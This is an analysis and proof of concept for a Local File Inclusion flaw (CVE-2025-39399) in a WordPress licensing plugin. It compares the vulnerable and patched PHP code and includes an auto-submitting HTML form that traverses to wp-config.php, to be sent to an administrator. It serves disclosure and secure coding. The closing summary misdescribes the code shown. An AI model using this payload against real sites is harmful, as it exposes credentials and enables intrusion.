Contents

CVE-2025-39399 Analysis & POC

The License For Envato plugin version ≤ 1.0.0 contains a Local File Inclusion vulnerability that allows an attacker to control the file parameter used in include/require without authentication, thereby including or reading local files on the server (e.g., configuration files containing credentials), leading to sensitive information disclosure and, in some configurations, potential code execution.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - License For Envato: 1.0.0 (vulnerable) and 1.1.0 (patched).
  • Diff tool - Meld or any diff/compare tool to inspect differences between the two versions.

Vulnerable version:

<div class="wrap">
    <?php $action = isset( $_GET['tab'] ) ? sanitize_text_field( $_GET['tab'] ) : 'general'; ?>
    // other logic
    <?php
    $dir = __DIR__;
    $licenseEnvato_nav_view =  apply_filters( 'license_envato_settings_view', $dir, $action );

    if ($licenseEnvato_nav_view) {
        $template = "{$licenseEnvato_nav_view}/{$action}.php";
    }

    if ( file_exists( $template ) ) {
        include $template;
    }else{
        include "{$licenseEnvato_nav_view}/general.php";
    }
    ?>
</div>

In the vulnerable version, the value of $action is taken directly from $_GET['tab']. Although this value is passed through sanitize_text_field(), that function only strips HTML tags — it does not prevent path traversal sequences like ../.

Therefore, an attacker can supply a value such as ?tab=../../somefile, causing $action to contain an unexpected path. When this value is concatenated into $template and then included => LFI occurs.

Patched version:

<?php
// Exit if accessed directly
defined('ABSPATH') || exit;

// Define allowed tab values to prevent LFI
$allowed_tabs = array('general', 'envato');
// Apply filter to allow extensions to add their own tabs
$allowed_tabs = apply_filters('license_envato_allowed_tabs', $allowed_tabs);

// Verify nonce if tab parameter is set
$action = 'general';
if (isset($_GET['tab'])) {
    // Verify nonce for tab switching if provided
    if (isset($_GET['_wpnonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'license_envato_switch_tab')) {
        $tab = sanitize_text_field(wp_unslash($_GET['tab']));
        // Only allow values from the whitelist
        $action = in_array($tab, $allowed_tabs) ? $tab : 'general';
    } elseif (!isset($_GET['_wpnonce'])) {
        // If no nonce is provided, still allow tab switching but sanitize input
        $tab = sanitize_text_field(wp_unslash($_GET['tab']));
        // Only allow values from the whitelist
        $action = in_array($tab, $allowed_tabs) ? $tab : 'general';
    }
}
?>
<div class="wrap">
    <?php
    $dir = __DIR__;
    $licenseEnvato_nav_view =  apply_filters( 'license_envato_settings_view', $dir, $action );

    if ($licenseEnvato_nav_view) {
        // Ensure we only include files within the plugin directory structure
        $template = realpath("{$licenseEnvato_nav_view}/{$action}.php");
        $nav_view_dir = realpath($licenseEnvato_nav_view);
        
        // Verify the template is a child of the nav view directory to prevent path traversal
        if ($template && $nav_view_dir && strpos($template, $nav_view_dir) === 0 && file_exists($template)) {
            include $template;
        } else {
            // Fallback to general.php with the same security checks
            $general_template = realpath("{$licenseEnvato_nav_view}/general.php");
            if ($general_template && strpos($general_template, $nav_view_dir) === 0) {
                include $general_template;
            }
        }
    }
    ?>
</div>

The patch implements multiple measures to mitigate LFI and harden the handling of the tab parameter:

  1. Use a whitelist $allowed_tabs
$allowed_tabs = array('general', 'envato');
$allowed_tabs = apply_filters('license_envato_allowed_tabs', $allowed_tabs);
  1. Verify nonce to prevent CSRF
if (isset($_GET['_wpnonce']) && wp_verify_nonce(..., 'license_envato_switch_tab'))

The reason the CVE is labeled Unauthenticated is that an attacker does not need an account on the target site to exploit it. A common technique is to trick an admin (or a privileged user) into visiting a page containing the payload. When the admin opens that page, the browser sends a request to the WordPress site including the admin session cookie — so the request is considered authenticated as the admin. If the plugin accepts and executes the parameter without nonce or permission checks, the LFI payload will be processed and exploited.

  1. Normalize and validate paths using realpath()
$template = realpath("{$licenseEnvato_nav_view}/{$action}.php");
$nav_view_dir = realpath($licenseEnvato_nav_view);
public function plugin_page() {
    $license_envato_api = new EnvatoLicenseApiCall();
    $settingsView = __DIR__ . '/views/settingsView.php';
    if ( file_exists( $settingsView ) ) {
        include $settingsView;
    }
}

settingsView.php is always present in the source, so it is definitely included in plugin_page().

public function admin_menu() {
    $parent_slug = 'licenseenvato';
    $capability = 'manage_options';

    add_submenu_page( $parent_slug, __( 'Settings', 'licenseenvato' ), __( 'Settings', 'licenseenvato' ), $capability, $parent_slug.'-settings', [ $this, 'settings' ] );
}

public function settings() {
    $settings = new Settings();
    $settings->plugin_page();
}

plugin_page() is called via the “Settings” submenu callback, registered in admin_menu().

This submenu requires the manage_options capability, so it is shown only to admins. When an admin opens the “Settings” submenu (endpoint licenseenvato-settings), WordPress calls settings(), which instantiates the Settings class and runs plugin_page().

Create a page that contains the LFI payload

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>w41bu1</title>
</head>
<body>
    <form action="http://localhost/wp-admin/admin.php" method="get">
        <input type="text" name="page" value="licenseenvato-settings">
        <input type="text" name="tab" value="../../../../../../wp-config">
    </form>
    <script>
        document.forms[0].submit()
    </script>
</body>
</html>

Send the link to the admin

Result:

The debugger jumped to wp-config.php

Successful LFI result

Successful LFI result

Version ≤ 1.0.0 of License For Envato allows LFI because include() uses $atts['template'] without proper validation; the vulnerability was fixed in 1.1.0 using basename() + realpath() and base_dir checks.

  • Using only sanitize_text_field() is not sufficient to prevent path traversal in PHP.
  • Any parameter used in include() or file operations must be controlled by a whitelist or validated via realpath().
  • CSRF combined with LFI can turn an admin-only flaw into an unauthenticated vulnerability if nonce verification is missing.
  • Inputs must be strictly validated and the scope of accessible files restricted, especially in plugins that handle templates or views.
  • Always validate and constrain paths when including files — never trust request data even if it has been “sanitized”.

File Inclusion/Path traversal — Hacktrick

WordPress License For Envato Plugin <= 1.0.0 is vulnerable to Local File Inclusion

Related Content